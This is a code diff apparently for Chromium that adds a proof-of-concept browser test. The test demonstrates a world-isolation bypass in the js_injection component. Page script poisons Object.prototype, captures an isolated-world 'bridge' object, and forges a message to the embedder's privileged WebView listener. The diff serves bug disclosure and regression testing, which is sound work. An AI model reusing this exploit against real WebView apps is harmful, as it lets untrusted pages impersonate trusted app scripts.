diff --git a/components/js_injection/browser/BUILD.gn b/components/js_injection/browser/BUILD.gn index 250afa06f4b592..16834549854d83 100644 --- a/components/js_injection/browser/BUILD.gn +++ b/components/js_injection/browser/BUILD.gn @@ -34,7 +34,10 @@ source_set("browser_tests") { defines = [ "HAS_OUT_OF_PROC_TEST_RUNNER" ] - sources = [ "navigation_listener_browsertest.cc" ] + sources = [ + "isolated_world_bypass_browsertest.cc", + "navigation_listener_browsertest.cc", + ] deps = [ ":browser", diff --git a/content/shell/BUILD.gn b/content/shell/BUILD.gn index fe1f1b0a759f71..8b9b9ba2a44400 100644 --- a/content/shell/BUILD.gn +++ b/content/shell/BUILD.gn @@ -338,6 +338,7 @@ static_library("content_shell_lib") { "//components/embedder_support", "//components/embedder_support:user_agent", "//components/input", + "//components/js_injection/renderer", "//components/keyed_service/content", "//components/metrics:net", "//components/network_hints/browser", diff --git a/content/shell/renderer/shell_content_renderer_client.cc b/content/shell/renderer/shell_content_renderer_client.cc index a8912c9362e974..b9f43178dcf488 100644 --- a/content/shell/renderer/shell_content_renderer_client.cc +++ b/content/shell/renderer/shell_content_renderer_client.cc @@ -18,6 +18,7 @@ #include "base/task/single_thread_task_runner.h" #include "base/types/pass_key.h" #include "components/cdm/renderer/external_clear_key_key_system_info.h" +#include "components/js_injection/renderer/js_communication.h" #include "components/network_hints/renderer/web_prescient_networking_impl.h" #include "components/surface_embed/renderer/create_plugin.h" #include "components/web_cache/renderer/web_cache_impl.h" @@ -324,6 +325,10 @@ void ShellContentRendererClient::RenderFrameCreated(RenderFrame* render_frame) { // browser tests. If we only create that for browser tests then the override // of this method in WebTestContentRendererClient would not be needed. new ShellRenderFrameObserver(render_frame); + // Wire up the renderer side of the js_injection component so that + // components_browsertests can exercise the same code path Android WebView + // uses for addWebMessageListener / addJavaScriptOnEvent. + new js_injection::JsCommunication(render_frame); } bool ShellContentRendererClient::OverrideCreatePlugin( --- /dev/null +++ b/components/js_injection/browser/isolated_world_bypass_browsertest.cc @@ -0,0 +1,218 @@ +// Copyright 2025 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Proof-of-concept: under default-on kLazyBindJsInjection, +// JsCommunication::DidClearWindowObject() enters the *main-world* v8 context +// scope and then calls JsBinding::Install() for isolated-world objects with a +// non-null isolate, so Install() never enters its own context scope. As a +// result gin::WrappableBase::GetWrapper() instantiates the isolated-world +// bridge wrapper via templ->NewInstance(isolate->GetCurrentContext()) in the +// MAIN-world context, and the wrapper's prototype chain terminates at the +// MAIN-world Object.prototype — an object fully controlled by untrusted page +// JavaScript. +// +// This test simulates the Android WebView "Wordly Framely" API: +// awContents.addWebMessageListener("bridge", {"*"}, listener, "appWorld") +// and shows that page (main-world) script can poison its own +// Object.prototype, capture the privileged isolated-world bridge object, and +// post a message to the embedder's WebMessageHost — a world-isolation bypass. + +#include +#include + +#include "base/memory/raw_ptr.h" +#include "base/run_loop.h" +#include "base/strings/utf_string_conversions.h" +#include "components/js_injection/browser/js_communication_host.h" +#include "components/js_injection/browser/web_message.h" +#include "components/js_injection/browser/web_message_host.h" +#include "components/js_injection/browser/web_message_host_factory.h" +#include "content/public/browser/web_contents.h" +#include "content/public/common/isolated_world_ids.h" +#include "content/public/test/browser_test.h" +#include "content/public/test/browser_test_utils.h" +#include "content/public/test/content_browser_test.h" +#include "content/public/test/content_browser_test_utils.h" +#include "content/shell/browser/shell.h" +#include "net/test/embedded_test_server/embedded_test_server.h" +#include "testing/gtest/include/gtest/gtest.h" +#include "url/gurl.h" + +namespace js_injection { + +namespace { + +// Records every message that the (simulated) embedder's WebMessageListener +// receives. In production this is the Android app's Java +// WebMessageListener.onPostMessage() callback for the *isolated* world. +class RecordingHost : public WebMessageHost { + public: + void OnPostMessage(std::unique_ptr message) override { + if (auto* s = std::get_if(&message->message)) { + received_.push_back(base::UTF16ToUTF8(*s)); + } else { + received_.push_back(""); + } + if (loop_) { + loop_->Quit(); + } + } + + void Wait() { + if (!received_.empty()) { + return; + } + loop_ = std::make_unique(); + loop_->Run(); + loop_.reset(); + } + + const std::vector& received() const { return received_; } + + private: + std::vector received_; + std::unique_ptr loop_; +}; + +class RecordingHostFactory : public WebMessageHostFactory { + public: + std::unique_ptr CreateHost( + const std::string& top_level_origin_string, + const std::string& origin_string, + bool is_main_frame, + WebMessageReplyProxy* proxy) override { + auto host = std::make_unique(); + last_host_ = host.get(); + return host; + } + + RecordingHost* last_host() { return last_host_; } + + private: + raw_ptr last_host_ = nullptr; +}; + +constexpr int32_t kAppWorldId = 1; // > ISOLATED_WORLD_ID_GLOBAL + +} // namespace + +class JsInjectionIsolatedWorldBypassTest : public content::ContentBrowserTest { + public: + content::WebContents* web_contents() { return shell()->web_contents(); } +}; + +// The actual exploit: untrusted main-world page script captures the +// isolated-world-only `bridge` object via prototype-chain poisoning and uses +// it to spoof a message to the embedder's privileged listener. +IN_PROC_BROWSER_TEST_F(JsInjectionIsolatedWorldBypassTest, + MainWorldCapturesIsolatedWorldBridge) { + ASSERT_TRUE(embedded_test_server()->Start()); + + // Simulate the embedding app: + // awContents.registerJavaScriptWorld("appWorld") -> kAppWorldId + // awContents.addWebMessageListener("bridge", {"*"}, listener, "appWorld") + auto js_host = std::make_unique(web_contents()); + auto factory = std::make_unique(); + RecordingHostFactory* factory_ptr = factory.get(); + std::u16string err = js_host->AddWebMessageHostFactory( + std::move(factory), u"bridge", {"*"}, kAppWorldId); + ASSERT_TRUE(err.empty()) << base::UTF16ToUTF8(err); + + // Navigate. DidClearWindowObject() runs in the renderer, enters the + // MAIN-world Context::Scope, and creates the isolated-world `bridge` + // wrapper while the main-world context is current — the bug. + GURL url = embedded_test_server()->GetURL("/title1.html"); + ASSERT_TRUE(content::NavigateToURL(shell(), url)); + + // ── Sanity: `bridge` is *only* installed in the isolated world. + EXPECT_EQ("undefined", content::EvalJs(web_contents(), "typeof bridge", + content::EXECUTE_SCRIPT_DEFAULT_OPTIONS, + content::ISOLATED_WORLD_ID_GLOBAL)); + EXPECT_EQ("object", content::EvalJs(web_contents(), "typeof bridge", + content::EXECUTE_SCRIPT_DEFAULT_OPTIONS, + kAppWorldId)); + + // ── Step 1 (untrusted PAGE, main world): + // Poison main-world Object.prototype. This is all the attacker controls. + ASSERT_TRUE(content::ExecJs( + web_contents(), + "Object.defineProperty(Object.prototype, Symbol.toPrimitive, {" + " configurable: true," + " value(hint) { window.__leak = this; return ''; }" + "});", + content::EXECUTE_SCRIPT_DEFAULT_OPTIONS, + content::ISOLATED_WORLD_ID_GLOBAL)); + + // ── Step 2 (trusted APP script, isolated world kAppWorldId): + // The app's isolated-world script merely string-coerces its own bridge — + // e.g. `console.log('init '+bridge)`. Because the wrapper's prototype chain + // terminates at MAIN-world Object.prototype, this hits the page's poisoned + // Symbol.toPrimitive, which runs with `this === bridge` and stores it on + // MAIN-world `window.__leak`. + ASSERT_TRUE(content::ExecJs(web_contents(), "'' + bridge;", + content::EXECUTE_SCRIPT_DEFAULT_OPTIONS, + kAppWorldId)); + + // ── Step 3: Evidence of capture in the main world. + std::string leak_type = + content::EvalJs(web_contents(), + "typeof window.__leak + '/' + " + "typeof (window.__leak && window.__leak.postMessage)", + content::EXECUTE_SCRIPT_DEFAULT_OPTIONS, + content::ISOLATED_WORLD_ID_GLOBAL) + .ExtractString(); + // *** WORLD-ISOLATION BYPASS *** + // Main-world page JS now holds the isolated-world-only bridge. + EXPECT_EQ("object/function", leak_type) + << "Main world failed to capture isolated-world bridge — bug not " + "triggered. leak_type=" + << leak_type; + + // ── Step 4 (untrusted PAGE, main world): spoof a privileged message. + ASSERT_TRUE(content::ExecJs( + web_contents(), "window.__leak.postMessage('PWNED-FROM-PAGE');", + content::EXECUTE_SCRIPT_DEFAULT_OPTIONS, + content::ISOLATED_WORLD_ID_GLOBAL)); + + // ── Step 5: The embedder's privileged isolated-world listener receives the + // page-forged message. This is what would arrive at the Android app's Java + // WebMessageListener.onPostMessage(). + ASSERT_TRUE(factory_ptr->last_host()); + factory_ptr->last_host()->Wait(); + ASSERT_FALSE(factory_ptr->last_host()->received().empty()); + EXPECT_EQ("PWNED-FROM-PAGE", factory_ptr->last_host()->received().front()); +} + +// Direct check that the wrapper's prototype chain crosses worlds. +IN_PROC_BROWSER_TEST_F(JsInjectionIsolatedWorldBypassTest, + BridgePrototypeChainEndsInMainWorld) { + ASSERT_TRUE(embedded_test_server()->Start()); + auto js_host = std::make_unique(web_contents()); + std::u16string err = js_host->AddWebMessageHostFactory( + std::make_unique(), u"bridge", {"*"}, kAppWorldId); + ASSERT_TRUE(err.empty()) << base::UTF16ToUTF8(err); + + ASSERT_TRUE(content::NavigateToURL( + shell(), embedded_test_server()->GetURL("/title1.html"))); + + // From the isolated world, walk the bridge's prototype chain to the end. + // It should terminate at the *isolated* world's Object.prototype, but under + // the bug it terminates at a *foreign* (main-world) Object.prototype. + bool ends_at_isolated_proto = + content::EvalJs(web_contents(), + "(function(){" + " let p = bridge;" + " while (Object.getPrototypeOf(p)) {" + " p = Object.getPrototypeOf(p);" + " }" + " return p === Object.prototype;" + "})()", + content::EXECUTE_SCRIPT_DEFAULT_OPTIONS, kAppWorldId) + .ExtractBool(); + EXPECT_FALSE(ends_at_isolated_proto) + << "bridge prototype chain ends at isolated-world Object.prototype " + "(bug not present)"; +} + +} // namespace js_injection